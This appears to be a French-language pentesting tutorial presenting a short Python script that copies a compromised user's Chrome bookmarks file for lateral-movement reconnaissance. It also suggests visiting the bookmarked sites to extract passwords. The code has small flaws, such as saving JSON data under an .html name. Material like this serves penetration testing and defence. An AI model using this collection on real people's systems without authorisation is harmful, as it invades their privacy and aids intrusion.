Pentesting Lateral Movement : Chrome Bookmark Extraction à l'aide de Python

Feb 25 2023
R. Eric Kiser En tant que testeur d'intrusion, il est important de recueillir autant d'informations que possible sur les utilisateurs ou les systèmes compromis.

R. Eric Kiser

En tant que testeur d'intrusion, il est important de recueillir autant d'informations que possible sur les utilisateurs ou les systèmes compromis. Une technique utile pour se déplacer latéralement consiste à découvrir les ressources fréquemment consultées par l'utilisateur en extrayant ses signets de Google Chrome. Avec les signets obtenus, vous pouvez ensuite utiliser un script pour collecter des informations ou, si vous disposez d'un accès à distance à l'interface graphique, visiter manuellement chaque page pour voir si les mots de passe peuvent être extraits.

Nous aurons besoin d'importer quelques modules pour extraire les données. oset shutilsont importés pour accéder au système de fichiers et copier des fichiers. import syset import tempfilesont importés pour vérifier la plate-forme et créer un répertoire temporaire.

import os
import sys
import shutil
import tempfile

bookmarks_file = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Bookmarks')

if sys.platform == 'win32':
    bookmarks_file = os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Bookmarks')
elif sys.platform == 'darwin':
    bookmarks_file = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Bookmarks')

if not os.path.exists(bookmarks_file):
    print('Error: unable to locate your bookmarks file')
    sys.exit(1)

temp_dir = tempfile.mkdtemp()

try:
    shutil.copy2(bookmarks_file, temp_dir)
    bookmarks_file = os.path.join(temp_dir, os.path.basename(bookmarks_file))

    with open(bookmarks_file, 'r') as f:
        data = f.read()

    with open('bookmarks.html', 'w') as f:
        f.write(data)

finally:
    shutil.rmtree(temp_dir)

print ("bookmarks successfully downloaded in the current working directory")